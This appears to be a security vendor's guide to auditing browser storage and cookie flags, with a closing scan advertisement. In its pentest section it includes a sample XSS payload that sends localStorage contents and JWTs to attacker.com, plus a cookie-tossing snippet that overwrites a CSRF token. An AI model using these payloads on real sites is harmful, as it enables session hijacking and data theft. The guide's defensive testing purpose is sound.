Browser Storage Security Testing: localStorage, sessionStorage, IndexedDB, and Cookies
Browser storage is where modern web applications keep state on the client side — session tokens, user preferences, cached API responses, and often much more. The four main mechanisms (localStorage, sessionStorage, IndexedDB, and cookies) each have distinct security properties and distinct failure modes. Misuse of any of them can expose sensitive data to XSS attacks, cross-origin access, or persistent compromise long after a session ends.
This guide covers how to audit and test each storage mechanism systematically.
Storage Mechanisms: Security Properties Compared
| Mechanism | Scope | Persists after close? | JS accessible? | Sent with requests? |
|---|---|---|---|---|
| localStorage | Origin (scheme + host + port) | Yes (indefinitely) | Yes (always) | No |
| sessionStorage | Origin + tab | No (cleared on tab close) | Yes (always) | No |
| IndexedDB | Origin | Yes (indefinitely) | Yes (always) | No |
| Cookies (no flags) | Domain + path | Until expiry | Yes (unless HttpOnly) | Yes (all requests) |
| Cookies (HttpOnly) | Domain + path | Until expiry | No | Yes (all requests) |
The key security implication: localStorage, sessionStorage, and IndexedDB are always readable by any JavaScript running on the same origin. This means any XSS vulnerability — regardless of how it's triggered — can exfiltrate everything in these stores. Cookies with HttpOnly are the only mechanism that XSS cannot directly read.
Testing localStorage and sessionStorage
What to Look For
Open browser DevTools → Application tab → Storage. Enumerate everything stored:
// Enumerate all localStorage keys and values (run in browser console)
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
console.log(`${key}: ${localStorage.getItem(key)}`);
}
// Same for sessionStorage
for (let i = 0; i < sessionStorage.length; i++) {
const key = sessionStorage.key(i);
console.log(`${key}: ${sessionStorage.getItem(key)}`);
}
Red flags to look for:
- Session tokens or JWTs stored in localStorage — readable by any XSS
- OAuth access tokens or refresh tokens — permanent access if exfiltrated
- PII (email, name, address, date of birth)
- API keys or client secrets
- Role or permission data that's used for client-side access control
- Encrypted data where the decryption key is also stored client-side
- Sensitive application state (cart contents with prices, feature flags affecting billing)
XSS Exfiltration Proof of Concept
When testing for XSS, add a localStorage exfiltration payload to demonstrate impact:
// Exfiltrate all localStorage data via XSS
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(Object.fromEntries(
Object.keys(localStorage).map(k => [k, localStorage.getItem(k)])
))
});
// Specifically target JWT tokens
const jwt = localStorage.getItem('token')
|| localStorage.getItem('access_token')
|| localStorage.getItem('jwt')
|| localStorage.getItem('auth_token');
if (jwt) {
new Image().src = `https://attacker.com/?t=${encodeURIComponent(jwt)}`;
}
Testing for Sensitive Data Persistence
sessionStorage is often misunderstood as "more secure" because it clears on tab close. Test whether this actually provides protection:
- Log in, note what's in sessionStorage, close the tab
- Reopen the application in the same browser window (not a new tab) — in some implementations, sessionStorage survives tab restoration
- Check if session tokens are duplicated to localStorage as a fallback
- Test whether sensitive data is mirrored to both localStorage and sessionStorage
Testing IndexedDB
IndexedDB is a full client-side database — it can store structured data, blobs, and arbitrary objects. Developers often use it for offline caching, which means sensitive API responses can persist indefinitely on disk.
// Enumerate IndexedDB databases (browser console)
const dbs = await window.indexedDB.databases();
console.log(dbs);
// Open and read a specific database
const request = indexedDB.open('myapp-cache');
request.onsuccess = function(e) {
const db = e.target.result;
console.log('Object stores:', Array.from(db.objectStoreNames));
const tx = db.transaction(db.objectStoreNames[0], 'readonly');
const store = tx.objectStore(db.objectStoreNames[0]);
store.getAll().onsuccess = e => console.log(e.target.result);
};
What to check in IndexedDB:
- Cached API responses containing PII or sensitive records
- Authentication tokens or session data
- Cached user profiles including health, financial, or location data
- Draft content or form data that shouldn't persist
- Whether data is cleared on logout
Testing Data Clearance on Logout
A common finding: sensitive data persists in client storage after logout, leaving it accessible to the next person who uses the device.
// Before logout: note all storage contents
// Run in browser console
const before = {
localStorage: {...localStorage},
sessionStorage: {...sessionStorage}
};
// Click logout in the application
// After logout: check what remains
const after = {
localStorage: {...localStorage},
sessionStorage: {...sessionStorage}
};
// Find keys that survived logout
const survived = Object.keys(before.localStorage)
.filter(k => after.localStorage[k]);
console.log('Survived logout:', survived);
Cookie Security Testing
Cookies have a richer security model than localStorage. The relevant security attributes:
| Attribute | Effect | Missing = risk |
|---|---|---|
HttpOnly |
Blocks JavaScript access (document.cookie) |
Session token readable by XSS |
Secure |
Only sent over HTTPS | Cookie sent over HTTP, interceptable on network |
SameSite=Strict |
Not sent on cross-site requests | CSRF vulnerability |
SameSite=Lax |
Sent on top-level navigation GET only | Some CSRF vectors remain |
SameSite=None; Secure |
Sent cross-site (required for embeds) | N/A (intentional for third-party cookies) |
Domain |
Sent to all subdomains if set | Subdomain takeover can steal cookies |
__Host- prefix |
Forces Secure, no Domain attribute, path=/ | Without it: cookie scope is wider than intended |
__Secure- prefix |
Forces Secure flag | Without it: cookie can be set without Secure |
Auditing Cookie Flags with Burp Suite
# In Burp Suite:
# 1. Proxy > HTTP history — filter for Set-Cookie headers
# 2. Scanner > Run active scan — checks for missing HttpOnly/Secure
# 3. Or use the passive scanner — flags cookies without security attributes
# Manual check: grep for Set-Cookie in responses
grep -i "set-cookie" burp_export.xml
# Check for session cookies specifically
# Look for: session, token, auth, sid, JSESSIONID, PHPSESSID, .ASPXAUTH, _session
# These MUST have HttpOnly and Secure
# Test cookie scope: is the Domain attribute set?
# Set-Cookie: session=abc123; Domain=.example.com; ...
# This sends the cookie to ALL subdomains — risk if any subdomain is compromised
Cookie Injection via Subdomain
If a session cookie has Domain=.example.com (note the leading dot — sent to all subdomains), and any subdomain is vulnerable to XSS or subdomain takeover, that subdomain can overwrite or read the session cookie.
- Enumerate subdomains
- Check for subdomain takeover candidates (dangling DNS pointing to unclaimed cloud services)
- Test whether cookies set by a subdomain are readable by the main application
- Test cookie shadowing: can a subdomain set a cookie that overrides the main domain's cookie?
Cookie Tossing Attack
Browsers accept cookies with the Domain attribute set to a parent domain or sibling subdomain. An attacker who controls evil.example.com can set a cookie for .example.com, potentially overwriting a legitimate session cookie or injecting a forged CSRF token.
// From evil.example.com — toss a cookie onto example.com
document.cookie = "csrf_token=attacker_controlled; Domain=.example.com; Path=/";
// This can override the legitimate CSRF token on the main domain
// Test: set a cookie via a subdomain and observe if main domain reads it
Storage Isolation Testing
Cross-Origin Storage Access
localStorage and sessionStorage are origin-isolated — a page on evil.com cannot read app.com's storage. But there are edge cases:
- postMessage bridges: Some applications accept postMessage requests from other origins to read/write storage — test all postMessage handlers for origin validation
- iframe with same-origin content: An iframe loaded from the same origin has full storage access — test if any user-controlled content is loaded as a same-origin iframe
- Third-party scripts: Analytics, tracking, and ad scripts run on your origin and have full access to your localStorage — audit which scripts can read your storage
Testing postMessage Storage Bridges
// Test if the application has a postMessage handler that exposes storage
// From attacker.com (or browser console on any origin):
window.open('https://target.com');
// Then, in the opened window's context:
// window.postMessage({action: 'getToken'}, '*');
// Look for message listeners that respond to cross-origin messages
// In target.com's source:
window.addEventListener('message', function(e) {
// Does this validate e.origin?
// Does it return localStorage data to any origin?
});
Browser Storage Security Testing Checklist
- Enumerate all localStorage and sessionStorage keys — flag sensitive data
- Check IndexedDB databases for cached sensitive API responses
- Verify session tokens use
HttpOnlycookies, not localStorage - Verify all session/auth cookies have
Secureflag - Verify all session/auth cookies have
SameSite=StrictorLax - Check cookie
Domainattribute — is it wider than necessary? - Test data clearance on logout — verify sensitive data is removed from all storage
- Test XSS impact — can an XSS exploit exfiltrate tokens from client storage?
- Audit third-party scripts that run on your origin and have storage access
- Check postMessage handlers for missing origin validation
- Test for cookie tossing via subdomain scope widening
- Verify no client-side access control decisions are based solely on localStorage values
Ironimo scans for insecure cookie configurations, client-side storage misuse, and XSS vulnerabilities that expose browser storage — using Kali Linux-grade scanning on demand.
Start free scan